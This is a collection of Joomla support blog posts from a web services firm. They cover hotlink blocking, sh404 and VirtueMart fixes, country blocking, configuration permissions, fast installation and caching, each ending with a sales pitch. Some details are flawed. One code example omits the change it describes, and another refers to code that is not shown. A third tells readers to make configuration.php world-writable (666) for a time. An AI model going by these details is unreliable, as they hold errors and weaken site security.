In short, hotlinking (also referred to as leeching or inline linking) is theft of bandwidth, but there is currently no law (at least a law that we’re aware of) that prevents a website from hotlinking to another website. So what can you do to prevent hotlinking to your Joomla website?

Well, the only way to prevent hotlinking is by editing the .htaccess file, which can be found in the root directory of your website. So, you will need to add the following lines to your .htaccess file:

RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www\.)?yourjoomlawebsite.com/.*$ [NC]
RewriteRule \.(bmp|gif|jpg|png|svg|avi|mp3|wmv|css|js|pdf)$ - [F]

The above lines will block hotlinking to nearly all of your images, movies, MP3 files (music files), CSS files, JavaScript files, and PDF files. You can also prevent hotlinking to more file types, all you need to do is add the extension type of that file in the last line. For example, if you also want to prevent hotlinking to your xml files, then the last line in the above code will be:

RewriteRule \.(bmp|gif|jpg|png|svg|avi|mp3|wmv|css|js|pdf)$ - [F]

If you need help in preventing hotlinking to your Joomla website, then you can just contact us. We’re always a call or an email away, we’re very helpful, and we’re very friendly! Oh, and our rates are super cheap!

How to Set Meta Tags on sh404 Using PHP

If you want to enhance your Joomla website’s SEO, the first thing that you will need to work with is your meta tags, particularly the description meta tag. If you’re using sh404, you can set the meta description for each page using the sh404 interface. However, this method is not convenient for the following couple of reasons:

  1. If you have duplicate links you will need to change the meta description for each and every link. (sh404 works on a link basis, and not on a page basis)
  2. It will take a long, long time trying to set the description meta tag if you have a VirtueMart store with thousands of products.

So, what can you do to overcome this problem? Well, the solution is simple, you just modify the PHP code in the file shPageRewrite.php, which is located under /your_joomla_website_folder/components/com_sh404sef folder.

Let’s assume that your VirtueMart store has thousands of products, and only a few have a meaningful description. The product description will be automatically used by Joomla for meta description for those products that already have a description, but what about the other products? Obviously, they will not have a meta description, which will adversely affect your SEO standings. Now, an excellent way to handle this issue is by automatically creating a proper meta description for each and every product to do the following:

  • Get the product ID (you can easily get it from the Joomla get parameters).
  • Get the category ID.
  • Create a function that will get the product name and another one that will get the category name.
  • Get the top 10 products falling under this product’s category.
  • Create a meta description for the product that sounds something like “Product A belongs to Category C. Products similar to Product A include here goes a list of the top 10 products falling under Category C.

The above code should be placed in the file shPageRewrite.php, just after the following code:

      if (!is_null($shCustomDescriptionTag)) {
        $t = htmlspecialchars( shCleanUpDesc($shCustomDescriptionTag), ENT_COMPAT, 'UTF-8');
        $t = preg_replace( '#\$([0-9]*)#', '\\\$${1}', $t);

The string resulting from your above code should be placed in the $t variable.

As you can see, this is pretty advanced stuff, and you need to be a programmer in order to do this. Now, if you’re not a programmer and you need help implementing the above, then you can rely on us. We have worked on many, many Joomla websites and we are confident we can help you with yours. Just contact us and we’ll take it form there. Don’t worry, our fees are very fair!

How to Remove the Category ID from the Page Title in VirtueMart

A couple of days ago a customer approached us with the following problem: His Joomla’s VirtueMart shop was displaying the category ID in the title of the page of each category details page. So, for example, instead of having something as “Cheap TVs” as the page title, his page title was “72-Cheap TVs”. Obviously, this is a big hit when it comes to SEO.

Further examination of his website revealed that:

  • He was using sh404 for URL rewriting. (if only we had a penny everytime someone had a problem with this extension!)
  • He enabled sh404 for his VirtueMart shop.
  • He chose to Insert the category ID in the URL. (this is a setting in the sh404 settings for VirtueMart)

Here’s what we did to fix the problem:

  • We opened the file containing the code responsible for adding the category ID – this file is components/com_sh404sef/meta_ext/com_virtuemart.php
  • We found the function vm_sef_get_category_title (which can be usually found at line 63 of the above file)
  • We changed the following code:

    $title .= ($sefConfig->shInsertCategoryId ?
        $tree[ $category_id ]->category_id.$sefConfig->replacement : '')
        .$tree[ $category_id ]->category_name. ' | ';

    to

    $title .= $tree[ $category_id ]->category_name. ' | ';

  • That fixed the problem!

This is clearly a bug in sh404, but obviously the sh404 people don’t want to admit that it’s their problem, although the code that is behind this bug is clearly in one of their components/files.

If you are experiencing the same problem (where your page title in VirtueMart is displaying the category ID) or a similar problem (or even any other problem in Joomla) then feel free to contact us. We’re here to help, we’re efficient, we’re fast, we’re friendly, and we’re not expensive!

How to Block a Whole Country on Your Joomla Website?

We have explained before on how to block a specific IP or range of IPs from accessing your Joomla website. Since we have published that article, we had many requests asking us on how to block a specific country from accessing a Joomla website.

Now why would anyone want to block a whole country (or even several countries) from accessing his or her Joomla website?

There are several reasons for this, the most important ones are:

  • There is too much spam coming from that particular country: The owner’s website is flooded with spam (such as comment spam and referral spam) coming from that country.
  • There is too much fraud coming from that particular country: For example, the owner of the Joomla website runs a VirtueMart store and most transactions coming from that country are fraudulent.

  • Too many invalid clicks on ads: Some Joomla websites are content websites, where owners write content and make money when people click on the ads that are placed on their pages. If the owner receives a lot of invalid clicks, then his revenue will be affected (the invalid clicks will not only be discounted, but will also affect the valid clicks). Some countries are known for sending mostly invalid clicks.

  • Preventive measure against hacking: A few countries (because of the lax regulations when it comes to enforcing Internet security) are infamous of being the source of hacking attacks on many websites.

  • The country is sending too much automated traffic: This automated traffic can be automated spam, scraper bots, etc…

There are also many other reasons for a Joomla website owner to block traffic from a specific country…

Now, the question is, can this be done? And if yes, then how can it be done?

Well, we’re happy to say that this can be done, but it’s not easy… Here’s a step by step guide on how to block traffic from a whole country to your Joomla website:

  1. Download the IP to Country (also referred to as Geo IP) database available here.
  2. Import the above file into a MySQL table (an empty MySQL table).

  3. Copy the following code into your index.php file:

    function ipToNumerical($ip){
    		$arrIP = explode('.', $ip);
    		$multiplier = 1;
    		$numericalIP = 0;
    		for ($i = count($arrIP) - 1; $i >= 0; $i--){
    			$numericalIP += $arrIP[$i] * $multiplier;
    			$multiplier *= 256;
    		}
    		return $numericalIP;
    }

    The above script will translate an IP address to its numerical equivalent (for example: the numerical value of 174.91.225.215 is 2925257175 [215 x 1 + 225 x 256 + 91 x 256 x 256 + 174 x 256 x 256 x 256])

  4. Now that you have the script to get the numerical value of the IP, add another script to your index.php that will get the IP of the visiting user, translate that IP into its numerical value, and check the country that this value is assigned to (this can be done by doing a small query that will check which row has the range that this numerical value falls in). If you get a country that you are banning, then just call the function die.

  5. If you need help doing the above, then we can do it for you, it’ll only take us 8 hours and our fees are very fair! Just contact us and see how fast, efficient, and friendly we are!

    Note: An even better way of doing this is doing it through a plugin that runs on every page of the website before everything else. This is how we will do it for you! We have mentioned the above process because it’s simply easier.

Unable to Save Global Configuration in Joomla

You think that it’s time to enable caching, or you think that you want to rewrite your URLs, or you want to take your website temporarily offline, so you just change the configuration settings in your Joomla website, you click on Save on the top right, and you are greeted by the following error:

An Error has occurred! Unable to open configuration.php file to write!

Instead of seeing this success message:

The Global Configuration details have been updated.

You try it again, and again, and again… But you always see the same error message, where Joomla complains that it’s not able to write to the configuration file. So, why are you seeing this error, and how do you fix it?

Why are you seeing this error?

The global configuration settings of your Joomla website are saved to a file, and not to the database (it is not possible to save the global configuration information to the database, as this information consists of – among others – the connection parameters to the database, so you need this information before connecting to the database). This global configuration file is called configuration.php and is located under the root directory of your Joomla website. When you try to update your configurations settings, Joomla opens this file in writing mode, and writes your new information to it. So, if Joomla is unable to write to this file, then you will see this error (by the way, when you see this error it means that your new settings did not take effect). But what are the reasons that prevent Joomla from writing to the configuration.php file?

In our experience, there are two reasons:

  1. The permissions on your configuration.php are only set to read (for example 444/-r–r–r–) for all groups.
  2. There are some filesystem/server related issues that are preventing write activities. For example, the server hard disk is write-protected.

Of course, the most common reason for this problem is the first one…

How do you fix the problem

The first thing to do is to check the permissions on your configuration.php file (again, the file is located under the root directory of your website, so it’s most likely under public_html or public_html/yourdomainname.com). You can check the permissions by connecting through FTP to your website, and then right clicking on the configuration.php, and then seeing what the permissions are (note: the process of checking the permissions varies greatly from one FTP client to the other). Now, if you see something such as 444 or -r–r–r– (note that non-writable permissions can be something else), this means that the permissions on your configuration file only allow the file to be read by all groups. The best thing to do in this case is to change the permissions for the configuration.php file to 666 or to -rw-rw-rw-1 2. Instructions on how to do so vary from one FTP client to the other, but they should be straightforward. Now login to your Joomla’s control panel using a super administrator account, and try changing some configuration settings and click on “Save” at the top right and see if it works for you3. If it doesn’t, the move to the next step…

Now if you’re still reading, then it means that your Joomla still can’t write the settings to the configuration.php file4, and it’s most likely not a permission issue. So the best thing to do in this situation is to contact the website host and tell them that your website is unable to write to the configuration.php file and they’ll fix it for you.

If you think that you still need help, then that’s why we’re here! Just contact us and we’ll take care of this problem in no time. And don’t worry, our fees are very competitive. Oh, and we’re very friendly!

1If you’re unable to change the permissions on your configuration.php file, then it means you’re not allowed to by your web host. Check with them on how to address this problem.
2If the original permissions are anything other than 666, then change them to 666 and see if Joomla is able to save you configuration settings.
3Once you’re done, it is advisable to change the permissions of your configuration.php file to 444, regardless of the original permissions.
4In some very rare cases where Joomla is unable to write its settings to the global configuration file, the reason can be that someone changed your status from a super administrator to something lower (just when you tried to save the configuration settings), and only super administrators can update the Joomla configuration. If this is the case, however, you will most likely see a different error from Joomla (not the one stating that it’s unable to write to the configuration file).

What Is the Fastest Way to Install Joomla?

Sometimes, especially if you’re on a slow connection or if your website is hosted overseas (with a slow host), the Joomla installation can take a long time, mainly because of the time it takes to upload several thousand files to your server (Both supported versions of Joomla: Joomla 1.5.25 and 1.7.3 have over 4,000 files each – imagine how much time it takes if the upload of each file takes only a second).

So, what can you do to install Joomla in a few minutes? Well, there are a couple of options, depending on whether you have shell access to the server or not.

If you have shell access to the server

  • Login to the shell
  • Download the Joomla installation using wget:

    • The code for downloading Joomla 1.5.25 using wget is:

      wget http://joomlacode.org/gf/download/frsrelease/16026/69665/Joomla_1.5.25-Stable-Full_Package.zip

    • The code for downloading Joomla 1.7.3 using wget is:

      wget http://joomlacode.org/gf/download/frsrelease/16024/69674/Joomla_1.7.3-Stable-Full_Package.zip

  • Extract the Joomla zip file that you just downloaded

    • The code to extract (unzip) the Joomla 1.5.25 zipped installation is:

      unzip Joomla_1.5.25-Stable-Full_Package.zip -d your_www_directory (your_www_directory is your public_html directory and it is something like : /home/www/)

    The code for extracting the Joomla 1.7.3 zipped installation file is exactly the same as above, you just need to change the name of the file to that of Joomla 1.7.3.

  • Now point your browser to the domain of your website and follow the instructions. Of course, Joomla needs a database to install its data to, so you will need to create a database (empty – no tables) or use a database that already exists (make sure you’re using a table prefix that is not already used in this database!)

If you have cPanel

Now, if you don’t have shell access to your website, then another method to install Joomla rapidly is installing it through cPanel (provided your hosting provider has given you cPanel access – most of them do these days). All you need to do is the following:

  • Download the latest Joomla installation as a zip file and save this zip file to your PC.
  • Upload the zip file from your PC to your public FTP directory (or to any other directory of your choice).

  • Login to your cPanel account.

  • Click on File Manager (which should be in the third box from the top in your cPanel interface).

  • Now choose Public FTP Root from the directory selection (or the directory where you uploaded the Joomla zipped file if you uploaded it to another directory other than the public FTP directory).

  • Once the File Manager is open, click on the name of the zipped Joomla file, and then click on Extract, and then choose /public_html or /public_html/yourdomainname as the directory to extract Joomla to. Be careful, if you choose /public_html, and there is already a website installed there, then you will overwrite it. Do this very carefully!

  • That’s it! You’re done! You can now go http://yourdomainname.com/ and follow the instructions to install Joomla (you will need to create an empty database for Joomla to install its data)

The above 2 methods are the fastest ways to install Joomla, it only takes a few minutes to install Joomla if you follow any of these methods.

Now, if you’re in a hurry and you think that you need help doing the above, then we’re always here, 24/7/365! Just contact us and we’ll do it for you immediately (we’ll only charge you for an hour of work – check our latest fees to see how much that’s going to cost you – don’t worry, it’s not going to be much).

How to Migrate from osCommerce to VirtueMart?

Every once in a while, we get a new (or an existing) customer asking us to migrate his osCommerce website to VirtueMart. Some of these customers already own a Joomla website and know how powerful it is and they know that VirtueMart is a reliable alternative for osCommerce (these customers usually run their osCommerce website in a subdomain such as shop.theirdomainname.com under their main Joomla website). Those who do not already have a Joomla website have heard from their friends or acquaintances that Joomla is very easy to use (much easier than osCommerce) and that it’s supported by a much larger community and that its VirtueMart e-commerce extension is nearly as powerful as osCommerce.

Now, the first thing that we tell our (potential) customers when we get this request: It’s not easy. Here’s why:

  • osCommerce is a CMS with a native shopping cart. This means that while the main purpose of having osCommerce is to sell products(digital or non-digital)/services online, the osCommerce website still has many non-ecommerce related pages. These pages cannot be migrated to VirtueMart, but rather to Joomla, which means that it comes down to osCommerce to Joomla migration, and not osCommerce to VirtueMart migration.

  • osCommerce has contributions, which is a very similar concept to Joomla’s extensions. If one wishes to migrate the whole website, these contributions should either be rewritten as Joomla extensions or he should find similar Joomla extensions that will mimic these contributions. Note that not only the code for these contributions should be ported, but also the data.

  • Tables and table structures are completely different between VirtueMart and osCommerce, so it’s not about exporting data from one table and importing in into another. The data in an osCommerce table can be spread over 3 tables in a VirtueMart instance, and vice versa.

Although there are only 3 challenges in the above, they are really big challenges, and so it takes a lot of time to migrate a whole osCommerce website to a Joomla website (especially when the contributions need to be migrated as well – we’re talking about a month of work here).

Now, of course, this migration would be very costly, so are there any alternatives?

Well, the only alternative to the above is to do a partial migration, which is just the migration of the osCommerce ecommerce data to Joomla and VirtueMart. This means that all the database tables that deal with the ecommerce functionality need to be migrated to Joomla and VirtueMart. These tables relate to the following:

  • Store settings
  • Users (Buyers)
  • Product Categories
  • Products
  • Promotions/Coupons
  • Orders
  • Vendors/Manufacturers
  • Taxes
  • Shipping
  • etc…

There is a lot of data that needs to be migrated, and that’s why the process will still take a week (5 working days or 40 hours – check our fees to see what the total cost will be for the migration) to finish. But is it worth it? Well, let’s check the benefits of migrating from osCommerce to VirtueMart…

What Are the Advantages of Migrating from osCommerce to VirtueMart?

  • Ease of use: osCommerce is a very powerful ecommerce CMS, but it’s also very complicated and thus very hard to use. Joomla, on the other hand, is much easier when compared to osCommerce. Doing something on Joomla takes (in many cases) just a fraction of the amount of time required to do the same thing on osCommerce.
  • Better support: Joomla has way better support than osCommerce. Joomla is much bigger (in terms of community), more important, and more supported products than osCommerce. Just look at the number of extensions that Joomla has versus the number of contributions that osCommerce has. Whatever new functionality you have in mind for your Joomla website, there is most likely a Joomla extension already developed for it.

  • More integration: This point mostly applies to those running an osCommerce within their Joomla website. Imagine the trouble that they have to go through whenever they need to change their design for example. They need to change their design on 2 websites! Often even the simplest and most trivial website updates will take more than double the amount of time required to do. Website upgrades can take up to a week, just because the integration between the two products is often very loose.

I think we have established clearly that this move will save you a lot of money and a lot of time on the medium and the long term. So why wait?

Some Frequently Asked Questions

Will the products’ URLs be the same when we migrate from osCommerce to VirtueMart?

Most likely no. If you wish to ensure that that the URLs of your products under VirtueMart are the same as those under osCommerce then this will take us about 8 hours of extra time.

How hard is VirtueMart when compared to osCommerce?

VirtueMart is very easy to use (it’s a Joomla extension, after all), we can’t say the same thing about osCommerce.

How powerful is VirtueMart when compared to osCommerce?

When it comes to power and versatility, osCommerce is the winner (but not by much). But ask yourself, what are the features that exist in osCommerce and that don’t exist in VirtueMart that you really need?

Will the functionality be migrated as well?

Only VirteMart supported functionality will be available. Functionality that is exclusive to osCommerce will not be migrated (but can be migrated for an extra fee).

What are the pitfalls for this migration?

There are many pitfalls that companies with no experience in this migration process fall into, too many that if we list them all, this post will turn into a paper! Nevertheless, the most comm ones are:

  • Migrating the data but not migrating the files (images, documents, etc…)
  • Not migrating the data to the right places or not migrating the data to all the necessary places
  • Not placing the migrated files in the right directory(ies) and/or not creating this directory (these directories)

Why not migrate VirtueMart to osCommerce?

Well, that can be done, but this is like moving in programming languages from C to Assembly. VirtueMart is much easier, and is nearly as powerful. Why make your life complicated when you can make it easier?

Now if you need help migrating your osCommerce data to VirtueMart, and you are overwhelmed by the amount of work needed to do so, then fear not. We can do it for you! Just contact us and see how rapidly and efficiently we can do this!

Images Not Appearing on Your Joomla Website?

Quite often, we have customers coming to us and telling us that they have some images that are not appearing on their Joomla website. After investigation, it all comes down (mainly) to three reasons:

  1. Joomla SEF or an equivalent URL rewrite extension
  2. The short_open_tag directive in php.ini
  3. The asp_tag directive in php.ini

Let us discuss each one of the above.

Joomla SEF causing images not to display

As a rule, the URL rewriting on the page must happen after the content is generated on the website, and before the cache. This means that under Extensions“Manage Plugins”, you need to make sure that the order of the Joomla SEF plugin is after all the content plugins, but before the Joomla Cache plugin.

If the URL rewriting happens before that stage, then some of the URLs generated may be broken or may not be rewritten. However, the Joomla SEF is sometimes too smart even for its own good, as it tries to rewrite/manipulate URLs that are already rewritten or that do not need to be rewritten, including URLs of images. So if this thing happens, you will have broken images on your website. The solution to this problem is to search for the plugin that generates the affected content (usually it’s not a core plugin) and make sure that its ordered to be executed after the Joomla SEF runs. You might be wondering, isn’t this against the rule that we talked about earlier? It is, but then again, this is programming, and there are many, many exceptions to every rule.

How do you know instantly that the problem is related to Joomla SEF plugin?

In order to know in less than 1 minute whether the Joomla SEF plugin is the culprit, disable it, and then check if the images are now appearing, if they are, then for sure the reason for them not appearing is the URL rewriting.

short_open_tag PHP directive is set to off – but it is used

Let’s say you move your Joomla website to another (new?) server, and then you start testing it. Everything works perfectly, except that some of the images are no longer displaying. You try everything, you even disable the Joomla SEF plugin and your turn off URL rewriting, but yet the images are still not appearing. You’re lost. You then decide to check the code of your HTML page, to see how the images are linked to, and to your surprise, here’s what you see:

<img src="<? echo(YOUR_DOMAIN_URL.'/images/your_missing_image.jpg'); ?>">

You think, odd… This looks like it’s still written in PHP, why is that? Well, the reason is that the above was not parsed by the PHP parser is that it’s using something called short open tags, whereby the programmer uses <? to open the PHP tags (where he writes PHP code), instead of using the <?php . There are four ways to fix this problem:

  1. Open your php.ini file, search for the directive short_open_tag, and change its value to on instead of off.
  2. Create a local php.ini (which is a copy of the global php.ini), put it in the root directory of your website, and change the value of the short_open_tag directive to on.
  3. Open your index.php file in the root directory of your Joomla website and type the following (in the first line, before any code starts, but after <?php ): ini_set( "short_open_tag", 1 );
  4. Locate the file(s) that contains this code <? and change it with <?php

asp_tags PHP directive is set to off – but it is used

There are programmers that have ASP background (ASP is a web scripting language developed by Microsoft) and they’re used to the ASP tags and so they write code like the following line:

<%=YOUR_DOMAIN_URL.'/images/your_missing_image.jpg'%>.

The problem though with the above line that it won’t work if the asp_tags directive is not set to on. You have 3 ways to fix this problem:

  1. Open your php.ini file, search for the directive asp_tags, and change its value to on instead of off.
  2. Create a local php.ini, put it in the root directory of your website, and change the value of the asp_tags directive to on.
  3. Locate the file(s) that contains this code <% and change it with <?php

There are, of course, many other reasons for the images to disappear or not appear in the first place on your website, including:

  • Wrong PHP script used to display the images
  • Path to the images has changed
  • Read permissions not given on the images directory

If you need any help with your Joomla website not displaying the images, then feel free to contact us. We’re always friendly, our fees are reasonable, and we’re always there!

Virtuemart Security Warning

We had an interesting problem a few days ago. One of our customers was using VirtueMart to run his online store, and he had a security warning on his secure (https://) checkout page, claiming that his checkout page contained some secure and non-secure items.

Here are the errors that our customer was experiencing:

  • On Internet Explorer: “Do you want to view only the webpage content that was delivered securely?” and the message continues “This webpage contains content that will not be delivered using a secure HTTPS connection, which could compromise the security of the entire webpage”.
  • On Chrome: “Your connection with ‘yourdomainname.com’ is encrypted with 256-bit (or 128-bit) encryption. However, this page includes other resources which are not secure. These resources can be viewed by others while in transit, and can be modified by an attacker to change the behavior of the page.”

  • On Firefox: Firefox displays a full page with the header “Connection Is Untrusted”.

In any case, leaving the VirtueMart security warning as it is means substantially less sales for our customer (customers do not want to buy from an “untrusted” website). According to our experience, there are 3 reasons for this to happen:

  • Linking to an image without using https:// while in secure mode
  • Linking to a CSS file without using https:// while in secure mode
  • Linking to a JavaScript file without using https:// while in secure mode

Now the most common reason for this to happen is when Joomla administrators install a poorly written extension to include an external widget. This widget usually requires a JavaScript file and tries to include in non-secure mode.

For this particular client, we checked for everything, literally everything: Are the images all linked to by using https? Are all CSS files properly included (also using https)? Are all JavaScript files included the right way (again, using https)? All our checks concluded that the website was clean, but why were all the browsers stating that there is a “mixed content” of secure and non-secure items. What wre those non-secure items and where are they?

We then applied the concept of minimax elimination to solve this problem: we saved an HTML copy of the checkout page of VirtueMart, we called it test.html, and then we uploaded it back to the Joomla website of our client. We then tested this page in https mode (by visting https://www.ourclientswebsite/test.html, and the warnings, of course, still appeared. We then started removing chunks of code from the HTML page and uploading it back and then testing (to see if the page passes). We did this until the page finally showed no warnings in https mode. We then reverted back the previous chunk, and made it smaller, until we discovered the exact lines that were causing problems. These lines were CSS files, it was the way that they were included (our client was using a YOOtheme template). In case you are curious, here are the lines (please note that the following lines do not reveal the identity or any other information about our client, as they are standard in YOOtheme templates):

<link rel="stylesheet" href="css:styles/plain-blue.css" type="text/css"/>
<link rel="stylesheet" href="css:styles/color-blue.css" type="text/css"/>
<link rel="stylesheet" href="css:styles/plain.css" type="text/css"/>

The way the CSS files were included (href=”css:styles/plain.css”) was the culprit behind the mixed content on the VirtueMart checkout page.

What we did to solve the problem

We created a condition to hide the above CSS files (they didn’t have any effect on the look&feel of the website anyway) in the following template file: /public_html/templates/yoo_vanilla_j15/layouts/template.config.php. Here’s the code that we added (it is in bold):


//include these files when not in https mode
if ($_SERVER['HTTPS'] != "on"){

	$this->warp->stylesheets->add("css:styles/{$style}-{$bgcolor}.css");
	$this->warp->stylesheets->add("css:styles/color-{$color}.css");
	$this->warp->stylesheets->add("css:styles/{$style}.css");

}

As you can see, we are only including the problematic CSS files in non-https mode.

What we have learned from this experience:

  • Google Chrome has this weird habit of caching the https error at the tab level. So, even if you fix the problem and you remain on the same tab you will still see a problem.

  • The designer/coder must always use relative links in his template rather than absolute links. That’s a given, but apparently there are many designers that still don’t do this.

  • Joomla always fascinates us with new challenges, but we consider these challenges fun and we’re happy when we’re working towards solving them!

If you’re experiencing the same problem (you’re having a security warning on the VirtueMart checkout page), then try the above, but keep in mind that it most likely won’t apply to you (as it applies only to a very specific case), but you can use the minimax concept to locate the problem.

If you still need help resolving all these mixed content problems on your Joomla VirtueMart checkout, then we’re always here to help you. Just contact us and we’ll take it from there. Don’t worry, our fees are really, really reasonable!

How to Add Google+ to Your Joomla Website

One of the hottest things on the web at the moment is Google+, it seems that everyone wants to have it on his website in order to drive more traffic. There is currently a Google+ craze the same way there was a Facebook Like craze a couple of years ago.

In our opinion, Google+ will not only drive traffic to your Joomla website through the social networks, but it will also directly increase your SEO standings, this is Google is now using the social importance of a page (how many times the page was liked, plused, tweeted, etc…) as a factor in its page ranking algorithm.

Now let’s get to the crust of the matter, how do you add Google+ to your Joomla website?

Well, it’s very simple, all you need to do is the following:

  • Download the Google+ plugin (developed by itoctopus) from here (file size is 1.3 KB – do not unzip to install)
  • Install this plugin on your website:

    • Login to your Joomla’s control panel using a super administrator account
    • Click on Extensions, Install/Uninstall on the upper menu
    • Click on Browse next to Package File and then choose the googleplus.zip file from your computer
    • Click on Upload File & Install
    • You should see the following messages if the install is successful:
      • Install Plugin Success (just below the Extension Manager header) and
      • This plugin displays the Google+ button on your content pages. Developed by itoctopus ( http://www.itoctopus.com ). itoctopus claims no warranty whatsoever for this product. below the above message
  • Activate this plugin on your website:

    • Go to Extensions, Plugin Manager and click on the red icon next to googleplus on your website.
  • You’re done! You should now be able to see the Google+ widget on all your content pages!

If you’re having problems with this plugin or if you want to tweak it, then feel free to contact us, and we’ll have help you. Note that our fees will apply in this case. Additionally, please note that this plugin is developed for the Joomla 1.5 version, if you have a more recent version of Joomla where you need to install this plugin, then please contact us and we’ll do it for you (our reasonable fees will also apply).

Quick thing to add: Our Google+ Joomla plugin is very light, it doesn’t add unnecessary overhead to your website and it doesn’t promote our business in any way. We hope you’ll find it useful!

Disclaimer: Although we have developed this plugin at itoctopus, we claim no responsibility/warranty whatsoever for it. By using this Joomla plugin, you are agreeing to these terms.

Joomla Technicians at Your Service

As a Joomla website owner/manager, it might be that you need a Joomla technician because:

  • Your whole website is down and you need it up as soon as possible. (Note: We’ll be able to fix it for you, even if it’s midnight. You can call us anytime!)
  • Your website is functioning, but there are some pages that are showing errors.
  • You are experiencing some technical issues with your website, including, but not limited to: caching issues, SEF issues, etc…
  • Your website is hacked and now it tries to download viruses to your visitors’ PCs.
  • You have a problem in your template and you need to fix it immediately.
  • You want to move from Joomla 1.5 to a higher version of Joomla. (Joomla migration)
  • An extension that you’re trying to install on your website is not installing properly.
  • You want a custom Joomla extension to satisfy your specific business needs.
  • You are about to have your website audited (for PCI, for example) and you need to ensure that your website meets all the requirements.
  • You want to enhance the speed of your website.
  • You want to ensure that your website is secure enough to face any potential threats.
  • You want to integrate e-commerce on your website seamlessly and in the shortest time possible.
  • You want to modify the core Joomla installation to suit your business needs.
  • …the list is endless!

Now that you have established your need for a Joomla technician, you start wondering where to find one… Well, look no further, at itoctopus, we have some excellent Joomla technicians who will help you achieve your goals, and more! All of our technicians have at least 5 years experience in Joomla, and are actual programmers, so they can always find a solution to your problem! Not only that, they often have multiple solutions to your problem (and you’ll be the one to choose which solution they should go for)! They also will offer you recommendations in terms of enhancing your website’s speed, security, and even attracting more traffic!

Our Joomla technicians have worked on websites ranging from small websites belong to small businesses to very large websites belonging to multi-national corporations, and they always got the job done and on time! Also, all of them are fluent in English so you won’t have any communication problem with them, they will understand what you mean and what you want from the first time!

The rate that we charge for our Joomla technicians is very reasonable compared to the market, and the speed at which they will deliver your work is amazing. So, if you are in need of Joomla technicians, then go ahead, contact us, and rest assured that your work will always be done by an expert (who actually cares for your business) and will be done on time, every time!

Cache Is Not Clearing on Joomla

We have talked before on when to clear your cache in Joomla, so probably you have read the article and thought that now is the best time to do it. So, you went ahead and disabled the cache, thinking that this will delete your cache. But your pages are still cached. Weird!

You double check if you did the right thing, so you repeat the process: You go to SiteGlobal Configuration, and then you click on System (in the secondary menu below), and then yo choose “No” next to Cache under Cache Settings. You click on Save on the top right and then you refresh the configuration page just to make sure that your settings were saved, and they were indeed saved. You go back to your website, and you check, and, to your horror, the cache is still there. What gives?

See, the problem is that by doing the process above, you didn’t delete the cache, you just partially disabled it. Now, in order to clear your cache in Joomla, you go to ToolsClean Cache, and then you click on Site, and then you click on the checkbox next to the # sign (this checkbox should check all the checkboxes there), and then you click on Delete on the top right. You should also do the same for Administrator (next to Site).

Now what if the cache is still not clearing? According to our experience in Joomla, there are several reasons for this to happen:

  • Modified Permissions on the cache directory: This means that Joomla is now unable to modify the cache directory (usually this results from a manual modification to that directory). This consequently means that not only you’re not able to delete the cache, but that Joomla is also unable to write to the cache directory (usually the error log located under the root of your website will contain information about this permission problem). So, in this case, when your cache expires, your website will perform as if caching was not enabled.
  • Your Joomla cache directory has too many cached pages: This generally happens in very large websites. We have seen Joomla websites with over 1,000,000 cached pages (yes, that’s 1 million pages). Deleting those cached pages may take a long time or may be interrupted by a PHP script timeout. But, sooner or later, the cache will be cleared (so you don’t have to worry).

  • There is a locked file in your cache directory: Sometimes, a file might be locked (as another process is attempting to read or write from it). While this is very rare, it did happen with one of our clients.

  • You are using a 3rd party extension for caching: There are many non-native extensions that do the caching. Cache generated when these caching extensions are activated is not cleared using the normal way. So, you must read the documentation for your caching extension to see how to clear your cache.

A few things we would like to mention:

  • You can see from the above that we said that setting the Cache to “No” under configuration will only partially disable the cache, meaning that there will still be caching (there are several levels of caching in Joomla). Now in order to disable the cache completely in a default installation of Joomla, you will need to go ExtensionsPlugin Manager, and search for the “System – Cache” plugin, and disable it. By doing so (and setting the Cache to “No” in the configuration) there will be no more caching done on your Joomla website.

  • You don’t have to disable the cache in order to delete it.

  • It might be that your cache is deleted but it’s being re-generated the second you delete it (this happens when your website receives many visitors)

If you’re still having problems clearing your cache, then please contact us. We are always ready to server, and we have the most reasonable fees in North America.

How Much Disk Space Does Joomla Need?

If you are on a shared hosting plan that restricts you to a specific amount of hard disk space, then you might be wondering how much disk space does Joomla need to see if your hosting plan can accommodate it. Fear not, Joomla (core Joomla – with no extensions installed) is lightweight, so it has a very small footprint on the server.

Here’s how much disk space the two main versions of Joomla need:

  • Joomla 1.5.25: If it’s in zipped mode, then it takes 6.73 MB (Megabytes), if you extract it, then it will take about 27 MB. Note that its real size is 14.7 MB, but the number of files, which is about 4,206, will increase its footprint to 27 MB. In other words, you will need 27 MB of free space on your server to accommodate the Joomla 1.5.25 core.

  • Joomla 1.7.3: If it’s in zipped mode, then it takes 7.03 MB, if you extract it, then it will take about 29 MB. Again, the real size is 16.4 MB, but since Joomla 1.7.3 has 4,411 files, then you will need 29 MB on your server’s disk to accommodate it.

Now, of course, the above numbers are for fresh Joomla installations, and we haven’t also taken into consideration the size of the Joomla database, which is about 1 MB for, again, a fresh install.

Now, does that mean you can run a Joomla website if you only have 30 MB of free hard disk on your server? Possibly, but not for long. Here’s why:

  • Your website will generate an error log and it will also generate statistics. Both of them will increase your hard disk requirements.
  • You will probably install a non-standard template (a template that does not exist in the Joomla core) that may take many megabytes.

  • You (and your users) will add data to your website. This data might be images or it might be just text entered into the database. Again, this will increase your hard disk requirements.

  • You will most likely install extensions, and there are many extensions that are huge in size, often larger than Joomla’s own size.

So, now that we have mentioned the above, how much disk space does Joomla really need?

In our experience, you will need at least 500 MB for Joomla. We have seen Joomla websites that span tens of GB (Gigabytes – Every gigabyte is 1024 megabytes), and these websites did not contain any videos. Joomla websites that contain videos can be up to 100 GB in size (note that the size of a Joomla website can be infinity or ∞).

If you need help installing Joomla, then we can certainly help you. Just contact us and you’ll see how friendly and efficient we are. Our fees are also very reasonable!

Invalid Token on Joomla Login

If you have been using Joomla for a long time, then it might be that you have faced the dreaded “Invalid Token” when you try to login to the Joomla (on the real website, not the control panel), or when you try to perform other activities, such as voting, submitting forms, etc… In this post we will explain why invalid tokens exist, what might have caused your invalid token problem, and how to fix it.

What are invalid tokens and why do they exist?

Joomla is a CMS that is targeted by spammers. Many spammers try to automatically create an account on a Joomla website, and then they try to automatically login and post some obscenities and/or spam on your website. The Joomla developers figured out a way that will block spammers from doing this, and this way is to assign a cookie to the PC trying to login. If the cookie is not there, then the system will return an “Invalid Token” error. So, in short, tokens (and the “invalid token” error) were created as a first line defense mechanism against spammers. But, as you might have probably guessed, it has side effects…

Why are you getting this invalid token error?

